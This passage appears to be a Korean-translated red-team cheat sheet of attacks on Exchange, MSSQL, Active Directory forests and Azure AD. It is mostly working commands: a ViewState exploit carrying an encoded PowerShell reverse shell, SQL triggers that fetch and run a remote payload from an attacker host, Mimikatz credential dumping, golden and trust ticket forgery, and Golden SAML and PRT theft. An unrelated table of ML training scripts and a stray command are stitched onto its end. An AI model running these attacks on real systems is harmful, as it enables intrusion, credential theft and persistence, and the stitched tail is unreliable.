./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> 사용 [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange)는 PushSubscription 기능을 사용하여, 사용자가 'PushSubscription' API에 간단히 호출함으로써 Exchange 서버의 NTLM 인증 데이터를 캡처할 수 있습니다.**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon)은 CVE-2021-26855에 부여된 이름으로, 공격자가 MS Exchange 서버에서 인증을 우회하고 사용자를 가장할 수 있게 합니다.**```bash
python proxylogon.py $ip user@fqdn
```
> metasploit 사용:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

이 CVE는 고정된 암호화 키를 통해 EWS에서 RCE를 허용합니다.

*RCE를 위한 값 가져오기 :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL 서버

### UNC 경로 주입

[ ❓ ] : UNC(Uniform Naming Convention)는 매우 정확한 구문을 통해 네트워크 상의 __리소스 공유를 허용합니다__: `\IP-Server\shareName\Folder\File`

responder 실행: `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Poisoning

*SQL Server Resolution Protocol은 클라이언트와 데이터베이스 서버 검색 서비스 간의 요청 및 응답 전송에 사용되는 간단한 애플리케이션 수준 프로토콜입니다.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> 우리는 이 VBA 스크립트로 **Administrator**의 해시를 캡처했습니다.```python
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### DML, DDL 및 로그온 트리거

[ ❓ ] : **트리거**는 SQL Server에서 이벤트가 발생할 때 자동으로 실행되는 저장 프로시저입니다.

- 데이터 정의 언어(DDL) – Create, Alter, Drop 문 및 일부 시스템 저장 프로시저에서 실행됩니다.
- 데이터 조작 언어(DML) – Insert, Update, Delete 문에서 실행됩니다.
- 로그온 트리거 – 사용자 로그온 시 실행됩니다.

**트리거 목록**

*모든 트리거 나열*```sql
SELECT * FROM sys.server_triggers
```
*데이터베이스의 트리거 나열*```sql
SELECT * FROM sys.server_triggers
```
*powershell을 사용하여 인스턴스에서 DDL 및 DML 트리거 나열*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*지속성을 위해 DML 트리거 사용*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*DDL 트리거를 지속성에 사용*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*Logon triggers를 지속성에 사용*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## 포레스트 지속성

### DCShadow

**DCShadow는 대상 도메인에 일시적으로 새 도메인 컨트롤러를 등록하고** 이를 사용하여 SIDHistory, SPNs...와 같은 특성을 지정된 개체에 'push'하여 수정된 개체에 대한 변경 로그를 남기지 않습니다!

*⚠️ 요구 사항 :*
- DCShadow를 사용하려면 DA 권한이 필요합니다.
- 공격자의 시스템은 루트 도메인의 일부여야 합니다.

공격은 손상된 시스템에 2개의 인스턴스를 필요로 합니다 :

**1 인스턴스 :** *SYSTEM 권한으로 RPC 서버를 시작하고 수정할 특성을 지정합니다*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 인스턴스 :** *DA의 충분한 권한으로 값을 푸시하려면 :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## 크로스 포리스트 공격

### 트러스트 티켓

*트러스트 키 덤프*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Trust key를 사용하여 IR-TGT 위조*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*CIFS 서비스를 위한 TGS 가져오기*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*TGS를 CIFS 서비스에 사용*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### KRBTGT 해시 사용```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory

### AZ 사용자 열거

*Azure Active Directory에 **Connect-MsolService**를 사용한 연결.*```powershell
PS> Connect-MsolService -Credential $cred
```
*이 명령은 MFA(다중 요소 인증)를 사용한 열거를 허용합니다.*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*Azure AD Connect Server 찾기*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### AZ CLI를 사용한 열거

**스토리지 열거**

*blob storage 열거*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*새 사용자 만들기*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*특정 VM에서 명령을 실행합니다.*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ 요구 사항 :*
- ADFS 서버의 관리자 권한
- `ADFS 공개 인증서`
- `IdP 이름`
- `역할 이름`

> `ADFS 공개 인증서` 획득:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> `IdP Name` 가져오기:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> 획득 `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
a toolkit to exploit Golden SAML can be found [here](https://github.com/secureworks/whiskeysamlandfriends)

> ** Golden SAML은 골든 티켓과 유사하며 Kerberos 프로토콜에 영향을 미칩니다. 골든 티켓과 마찬가지로 Golden SAML은 공격자가 SAML 에이전트로 보호된 리소스(예: Azure, AWS, vSphere, Okta, Salesforce, ...)에 골든 티켓을 통해 상승된 권한으로 접근할 수 있게 합니다.**

*ShockNAwe:*
- 1. AD FS 구성 설정을 원격으로 추출합니다.
- 2. Golden SAML 토큰을 위조하고 서명합니다.
- 3. Golden SAML 토큰의 ‘assertion’ 부분을 추출하여 Azure Core Management API에 전달하여 API에 대한 유효한 액세스 토큰을 얻습니다.
- 4. 구독 ID를 열거합니다.
- 5. 구독에 있는 VM의 전체 목록을 열거합니다.
- 6. 모든 VM에서 SYSTEM/root 권한으로 임의의 명령을 실행합니다.

*WhiskeySAML:*
- 1. AD FS 구성 설정을 원격으로 추출합니다.
- 2. Golden SAML 토큰을 위조하고 서명합니다.
- 3. Golden SAML 토큰을 Microsoft Azure 포털에 전달합니다.
- 4. Azure MFA 구성을 우회하여 모든 사용자로 Azure 포털에 로그인합니다.```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### PRT Manipulation

#### PassThePRT

*AzureAdJoined Status 확인 및 Mimikatz 다운로드:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*찾는 중 **prt** 및 **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*APKD 함수를 사용하여 **KeyValue**를 디코딩하고 **"Context"**와 **"DerivedKey"** 값을 저장하세요:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
- ""```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
*Forge PRT-Cookie를 [lantern](https://github.com/ConstantinT/Lantern)을 사용하여:*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*JWT 생성*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### MSOL 서비스 계정

> Azure AD Connect Sync에서 사용하는 MSOL 서비스 계정을 [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c)로 덤프하고, 덤프된 자격 증명으로 DCsync 공격을 시작할 수 있습니다.

*MSOL 계정을 이용한 DCSync*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## 기타

### 도메인 수준 특성

#### MachineAccountQuota(MAQ) 악용

crackmapexec(CME)에서 maq 모듈 사용:

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### AD에서 IPv6 남용하기

ping6를 사용하여 대상에 ICMPv6 패킷 전송 :

`ping6 -c 3 <target>`

nmap을 사용하여 IPv6 주소 스캔 :

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`

IPv6용 도구를 적용하기 위한 팁 :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
`socket` 파이썬 라이브러리에서 `AF_INET` 값을 `AF_INET6`로 대체할 수 있습니다 :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### 가짜 DHCP

`mitm6 -i eth0 -d 'domain.job.local'`

#### IOXIDResolver 인터페이스 열거

네트워크 주소 필드에서 주소를 [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants) 수준으로 열거하는 작은 스크립트입니다.```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## References

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml
도구 다운로드
  • 자격 증명 덤핑을 위한 RunAsPPL
  • ETW 비활성화
  • MS Exchange
    • OWA, EWS 및 EAS 암호 스프레이
    • GAL 및 OAB 추출
    • PrivExchange
    • ProxyLogon
    • CVE-2020-0688
  • MSSQL 서버
    • UNC 경로 주입
    • MC-SQLR 중독
    • DML, DDL 및 로그온 트리거
  • 포리스트 지속성
    • DCShadow
  • 크로스 포리스트 공격
    • 신뢰 티켓
    • KRBTGT 해시 사용
  • Azure Active Directory (AAD)
    • AZ 사용자 열거
    • PowerZure
    • Golden SAML
    • PRT 조작
    • MSOL 서비스 계정
  • 기타
    • 도메인 수준 속성
      • MachineAccountQuota (MAQ) 익스플로잇
      • Bad-Pwd-Count
    • AD에서 IPv6 남용
      • Rogue DHCP
      • IOXIDResolver 인터페이스 열거
    • 참고 자료
  • 모델훈련 코드
    랜덤 포레스트random_forest_training.py
    결정 트리decision_tree_training.py
    MLPmlp_training.py
    로지스틱 회귀logistic_regression_training.py
    XGBoostxgboost_training.py
    모델훈련 시간
    랜덤 포레스트3분 미만
    결정 트리30초 미만
    MLP1분 30초 미만
    로지스틱 회귀2분 미만
    XGBoost4분 미만
    lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM